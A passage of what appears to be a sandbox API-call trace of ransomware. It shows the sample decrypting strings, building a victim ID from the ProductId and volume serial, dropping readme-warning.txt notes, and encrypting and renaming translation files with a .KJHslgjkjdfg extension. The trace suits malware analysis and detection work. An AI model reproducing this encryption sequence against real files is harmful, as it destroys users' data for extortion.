dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0189.527] GetProcessHeap () returned 0x2ef0000 [0189.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.527] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.527] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.527] GetProcessHeap () returned 0x2ef0000 [0189.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.527] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.527] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.527] GetProcessHeap () returned 0x2ef0000 [0189.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.527] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.527] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.528] GetProcessHeap () returned 0x2ef0000 [0189.528] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.528] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.528] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.528] GetProcessHeap () returned 0x2ef0000 [0189.528] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.528] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.528] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.528] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.528] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.528] RegCloseKey (hKey=0x12c) returned 0x0 [0189.528] GetProcessHeap () returned 0x2ef0000 [0189.528] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.528] GetProcessHeap () returned 0x2ef0000 [0189.528] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.528] GetProcessHeap () returned 0x2ef0000 [0189.528] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.529] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.529] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.529] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.529] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.529] GetProcessHeap () returned 0x2ef0000 [0189.529] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.529] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.529] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.529] GetProcessHeap () returned 0x2ef0000 [0189.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.529] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\readme-warning.txt") returned 79 [0189.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.530] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.531] CloseHandle (hObject=0x12c) returned 1 [0189.531] GetProcessHeap () returned 0x2ef0000 [0189.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.531] GetProcessHeap () returned 0x2ef0000 [0189.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.531] GetProcessHeap () returned 0x2ef0000 [0189.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.532] GetProcessHeap () returned 0x2ef0000 [0189.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.532] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.532] GetProcessHeap () returned 0x2ef0000 [0189.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0189.532] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1 [0189.532] GetProcessHeap () returned 0x2ef0000 [0189.532] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0189.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.532] GetProcessHeap () returned 0x2ef0000 [0189.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.532] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.533] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0189.533] GetProcessHeap () returned 0x2ef0000 [0189.533] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f16e68 [0189.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.533] GetProcessHeap () returned 0x2ef0000 [0189.533] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.533] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.533] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.533] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0189.551] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.551] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.551] GetProcessHeap () returned 0x2ef0000 [0189.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.551] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.552] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.552] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.552] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.552] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.552] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.552] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.552] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.552] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.552] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.552] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.552] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe64da, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xe64da, lpOverlapped=0x0) returned 1 [0189.575] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe64e0, dwBufLen=0xe64e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe64e0) returned 1 [0189.586] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.586] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe64e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xe64e0, lpOverlapped=0x0) returned 1 [0189.589] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.589] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe65b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.589] SetEndOfFile (hFile=0x12c) returned 1 [0189.593] GetProcessHeap () returned 0x2ef0000 [0189.593] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.594] GetProcessHeap () returned 0x2ef0000 [0189.594] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.kjhslgjkjdfg")) returned 1 [0189.595] CloseHandle (hObject=0x12c) returned 1 [0189.597] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0189.597] GetProcessHeap () returned 0x2ef0000 [0189.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.598] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.598] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.598] GetProcessHeap () returned 0x2ef0000 [0189.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.598] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.598] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.598] GetProcessHeap () returned 0x2ef0000 [0189.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.598] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.598] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.598] GetProcessHeap () returned 0x2ef0000 [0189.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.598] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.598] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.598] GetProcessHeap () returned 0x2ef0000 [0189.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.599] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.599] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.599] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.599] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.599] RegCloseKey (hKey=0x12c) returned 0x0 [0189.599] GetProcessHeap () returned 0x2ef0000 [0189.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.599] GetProcessHeap () returned 0x2ef0000 [0189.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.599] GetProcessHeap () returned 0x2ef0000 [0189.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.599] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.600] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.600] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.600] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.600] GetProcessHeap () returned 0x2ef0000 [0189.600] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.600] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.600] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.600] GetProcessHeap () returned 0x2ef0000 [0189.600] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.600] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\readme-warning.txt") returned 79 [0189.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.601] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.602] CloseHandle (hObject=0x12c) returned 1 [0189.602] GetProcessHeap () returned 0x2ef0000 [0189.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.602] GetProcessHeap () returned 0x2ef0000 [0189.603] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.603] GetProcessHeap () returned 0x2ef0000 [0189.603] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.603] GetProcessHeap () returned 0x2ef0000 [0189.603] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.603] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.603] GetProcessHeap () returned 0x2ef0000 [0189.603] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1 [0189.603] GetProcessHeap () returned 0x2ef0000 [0189.603] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0189.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.603] GetProcessHeap () returned 0x2ef0000 [0189.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, 